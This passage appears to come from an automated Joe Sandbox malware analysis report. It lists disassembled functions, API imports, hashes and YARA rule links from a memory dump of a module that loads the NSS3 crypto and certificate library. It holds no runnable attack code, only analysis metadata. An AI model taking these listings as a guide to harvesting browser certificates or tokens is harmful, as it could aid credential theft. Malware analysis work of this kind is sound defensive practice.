memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C7E0FDB
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C7E0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C7E1001
PL_FinishArenaPool.NSS3(?), ref: 6C7E1009

Strings

security, xrefs: 6C7E0F5C

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 4b4a4e79ab7f69ad8321c49b680c04c8e6b7ec8aec8c44b9aeea0d7565f75ee4
Instruction ID: e0bb2d536151ea179555cf464c9a354edcfb108c45538e8ee9c69eb0d008c1a7
Opcode Fuzzy Hash: 4b4a4e79ab7f69ad8321c49b680c04c8e6b7ec8aec8c44b9aeea0d7565f75ee4
Instruction Fuzzy Hash: D32106B1904208ABE710DF29DE41AAB77B4EF8565CF048928FC1897701FB31D556CBD2

Function 6C7E6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C7E7D8F,6C7E7D8F,?,?), ref: 6C7E6DC8

Part of subcall function 6C83FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C83FE08
Part of subcall function 6C83FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C83FE1D
Part of subcall function 6C83FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C83FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C7E7D8F,?,?), ref: 6C7E6DD5

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C908FA0,00000000,?,?,?,?,6C7E7D8F,?,?), ref: 6C7E6DF7

Part of subcall function 6C83B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9118D0,?), ref: 6C83B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C7E6E35

Part of subcall function 6C83FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C83FE29
Part of subcall function 6C83FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C83FE3D
Part of subcall function 6C83FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C83FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C7E6E4C

Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C908FE0,00000000), ref: 6C7E6E82

Part of subcall function 6C7E6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C7EB21D,00000000,00000000,6C7EB219,?,6C7E6BFB,00000000,?,00000000,00000000,?,?,?,6C7EB21D), ref: 6C7E6B01
Part of subcall function 6C7E6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C7E6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C7E6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C7E6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C908FE0,00000000), ref: 6C7E6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C7E7D8F,?,?), ref: 6C7E6FE1

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 95785e0a31708df43cc878a2dc1e111cbd29e068b29ec5fd98005e4935fe02af
Instruction ID: ec882686c5572190086661ba0d2376ed659ec57ae3f80b1e8d7353e6bd08a842
Opcode Fuzzy Hash: 95785e0a31708df43cc878a2dc1e111cbd29e068b29ec5fd98005e4935fe02af
Instruction Fuzzy Hash: A5718172E1064A9BDB00CF55CE40BAA77A4BF98308F155639E908D7B11F770EAA4CBD0

Function 6C820FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C821057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C821085
PK11_GetAllTokens.NSS3 ref: 6C8210B1
free.MOZGLUE(?), ref: 6C821107
PR_SetError.NSS3(00000000,00000000), ref: 6C821172
free.MOZGLUE(?), ref: 6C821182
free.MOZGLUE(?), ref: 6C8211A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C8211C5

Part of subcall function 6C8252C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C7FEAC5,00000001), ref: 6C8252DF
Part of subcall function 6C8252C0: EnterCriticalSection.KERNEL32(?), ref: 6C8252F3
Part of subcall function 6C8252C0: PR_Unlock.NSS3(?), ref: 6C825358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C8211D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C8211F3

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: bf586816e3e9c9631ee81804a9d983a0c03da84e30dad0c9e2e52459aaf54b75
Instruction ID: 527530536542c1f4c69aefc779daa4e1dd00cc23634a307c90ddea58e620a490
Opcode Fuzzy Hash: bf586816e3e9c9631ee81804a9d983a0c03da84e30dad0c9e2e52459aaf54b75
Instruction Fuzzy Hash: 5D61B6B0E043459BEB20DF68DA45B9EB7B5AF04348F244528EC19AB741E736ED84CB91

Function 6C82ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE10
EnterCriticalSection.KERNEL32(?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C80D079,00000000,00000001), ref: 6C82AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE7F
TlsGetValue.KERNEL32(?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AEF1
free.MOZGLUE(6C80CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C80CDBB,?), ref: 6C82AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AF30

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: ba9f069a4582d4b6aa2f2ff5683724b4116bd7e1653f4789f29f0b92d9fa5edf
Instruction ID: 22b3437782db4ccd520acc9f85152a220cccb2117988dbdccda4055cca273b0d
Opcode Fuzzy Hash: ba9f069a4582d4b6aa2f2ff5683724b4116bd7e1653f4789f29f0b92d9fa5edf
Instruction Fuzzy Hash: 1551C2B5A00A02EFDB20DF29D988B95B7B4FF04318F144A65D81897E11E739F8A4CBD1

Function 6C804CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C80AB7F,?,00000000,?), ref: 6C804CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C80AB7F,?,00000000,?), ref: 6C804CC8
TlsGetValue.KERNEL32(?,6C80AB7F,?,00000000,?), ref: 6C804CE0
EnterCriticalSection.KERNEL32(?,?,6C80AB7F,?,00000000,?), ref: 6C804CF4
PL_HashTableLookup.NSS3(?,?,?,6C80AB7F,?,00000000,?), ref: 6C804D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C804D10

Part of subcall function 6C88DD70: TlsGetValue.KERNEL32 ref: 6C88DD8C
Part of subcall function 6C88DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C88DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C804D26

Part of subcall function 6C8A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C8F0A27), ref: 6C8A9DC6
Part of subcall function 6C8A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C8F0A27), ref: 6C8A9DD1
Part of subcall function 6C8A9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C8A9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C804D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C804DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C804E02

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 70e1f68b751a0f0dc207a87a86b64dc7a67f768f7d9213d196e6a93941537fa0
Instruction ID: 3c94033293fc023c3cba8953f396db04e7391ceb1a8fe96e7f353f636ec20661
Opcode Fuzzy Hash: 70e1f68b751a0f0dc207a87a86b64dc7a67f768f7d9213d196e6a93941537fa0
Instruction Fuzzy Hash: 98410BB6A001059BDB205F38EE8896677B8FFA521DF054571EC1887B11FB31D964CBD1

Function 6C7E2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C7E2CDA,?,00000000), ref: 6C7E2E1E

Part of subcall function 6C83FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C7E9003,?), ref: 6C83FD91
Part of subcall function 6C83FD80: PORT_Alloc_Util.NSS3(A4686C84,?), ref: 6C83FDA2
Part of subcall function 6C83FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C84,?,?), ref: 6C83FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C7E2E33

Part of subcall function 6C83FD80: free.MOZGLUE(00000000,?,?), ref: 6C83FDD1

TlsGetValue.KERNEL32 ref: 6C7E2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C7E2E5E
PL_HashTableLookup.NSS3(?), ref: 6C7E2E71
PL_HashTableRemove.NSS3(?), ref: 6C7E2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C7E2E96
PR_Unlock.NSS3 ref: 6C7E2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7E2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7E2EC5

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 9c8f40852e3454036cefd0a8071803fce2641af40097e8915ccc933a9a1e433c
Instruction ID: 1718f0307ed5ed8f1b2ae75ba7e08aded7faf7e153402286f9c2cd766780c4e4
Opcode Fuzzy Hash: 9c8f40852e3454036cefd0a8071803fce2641af40097e8915ccc933a9a1e433c
Instruction Fuzzy Hash: 0A213A72A04111A7DF212B28EE0DA9A3B78EB5635EF154530ED1886721F732D558C2D1

Function 6C76CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C76B999), ref: 6C76CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C76B999), ref: 6C76D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C76B999), ref: 6C76D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C76B999), ref: 6C8B972B

Strings

database corruption, xrefs: 6C76CFE7, 6C76D013, 6C76D028, 6C76D039, 6C76D03E, 6C8B9786
%s at line %d of [%.10s], xrefs: 6C76CFEC, 6C76D018, 6C76D029, 6C76D03F, 6C8B978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C76CFDD, 6C76D00E, 6C76D022, 6C76D033, 6C8B9780

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 5c8be212eaac25a0cd4c01a121a5b6ca42de8602237eb7a4ab6eaf01e704f491
Instruction ID: 44340e9f6c074d1c2aeb57088f3b6535886c38937ebd0977bcb0a8fba1fa0ec2
Opcode Fuzzy Hash: 5c8be212eaac25a0cd4c01a121a5b6ca42de8602237eb7a4ab6eaf01e704f491
Instruction Fuzzy Hash: AC615B71A042148BD320CF29C941BA7B7F2EF95318F28456DE849ABF42D376D947C7A1

Function 6C86EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C88A4A1,?,00000000,?,00000001), ref: 6C86EF6D

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

htonl.WSOCK32(00000000,?,6C88A4A1,?,00000000,?,00000001), ref: 6C86EFE4
htonl.WSOCK32(?,00000000,?,6C88A4A1,?,00000000,?,00000001), ref: 6C86EFF1
memcpy.VCRUNTIME140(?,?,6C88A4A1,?,00000000,?,6C88A4A1,?,00000000,?,00000001), ref: 6C86F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C88A4A1,?,00000000,?,00000001), ref: 6C86F027

Strings

dtls13, xrefs: 6C86EF33

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 94242e75da739abbdfe4252673feeb4cfc3fac25bd937e8424d97ea3baa32a66
Instruction ID: 07afc4a2cbfa0b518ed574f2862520925f2894a0bf4053885f008b414a90a75e
Opcode Fuzzy Hash: 94242e75da739abbdfe4252673feeb4cfc3fac25bd937e8424d97ea3baa32a66
Instruction Fuzzy Hash: B4313971A01315AFC720CF29DE80B8AB7E4EF45348F258869ED189BB51E731E915CBE1

Function 6C7EAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7EAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C909500,6C7E3F91), ref: 6C7EAFD2

Part of subcall function 6C83B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9118D0,?), ref: 6C83B095

DER_GetInteger_Util.NSS3(?), ref: 6C7EB007

Part of subcall function 6C836A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C7E1666,?,6C7EB00C,?), ref: 6C836AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C7EB02F
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C7EB046
PL_FreeArenaPool.NSS3 ref: 6C7EB058
PL_FinishArenaPool.NSS3 ref: 6C7EB060

Strings

security, xrefs: 6C7EAFB8

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 036248518993aa576217ba71edca6957b5eb824ed9737d888b6100a6832fcc42
Instruction ID: 2259ae68d20120bc4267694c9bbbf9fca16aa1f220bffdf3b89c146ab3cfef8b
Opcode Fuzzy Hash: 036248518993aa576217ba71edca6957b5eb824ed9737d888b6100a6832fcc42
Instruction Fuzzy Hash: F0312E7140430497DB208F18DE457AA7BA4AF8A32CF104B29E9749BBD1E332F109C79B

Function 6C82CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C82CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C82CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C82D079

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 23f9756d07d950ae72ca308c29b195ddfbc3c9a936ee716b8d39e64793592fc9
Instruction ID: f20f1024a200aeae3b08a984822254c4130616129c000e4267685b871ef9c393
Opcode Fuzzy Hash: 23f9756d07d950ae72ca308c29b195ddfbc3c9a936ee716b8d39e64793592fc9
Instruction Fuzzy Hash: E2C1AFB5A002199BDB20CF28CD84BDAB7B4AF48318F1445A9D948A7741E779EED5CFC0

Function 6C7E2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(B4FB89E7), ref: 6C7E2C5D

Part of subcall function 6C840D30: calloc.MOZGLUE ref: 6C840D50
Part of subcall function 6C840D30: TlsGetValue.KERNEL32 ref: 6C840D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C7E2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7E2CE0

Part of subcall function 6C7E2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C7E2CDA,?,00000000), ref: 6C7E2E1E
Part of subcall function 6C7E2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C7E2E33
Part of subcall function 6C7E2E00: TlsGetValue.KERNEL32 ref: 6C7E2E4E
Part of subcall function 6C7E2E00: EnterCriticalSection.KERNEL32(?), ref: 6C7E2E5E
Part of subcall function 6C7E2E00: PL_HashTableLookup.NSS3(?), ref: 6C7E2E71
Part of subcall function 6C7E2E00: PL_HashTableRemove.NSS3(?), ref: 6C7E2E84
Part of subcall function 6C7E2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C7E2E96
Part of subcall function 6C7E2E00: PR_Unlock.NSS3 ref: 6C7E2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7E2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C7E2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C7E2D3F
free.MOZGLUE(00000000), ref: 6C7E2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C7E2DB8
free.MOZGLUE ref: 6C7E2DC8

Part of subcall function 6C7E3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7E3EC2
Part of subcall function 6C7E3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7E3ED6
Part of subcall function 6C7E3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7E3EEE
Part of subcall function 6C7E3E60: PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C7E3F02
Part of subcall function 6C7E3E60: PL_FreeArenaPool.NSS3 ref: 6C7E3F14
Part of subcall function 6C7E3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7E3F27

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
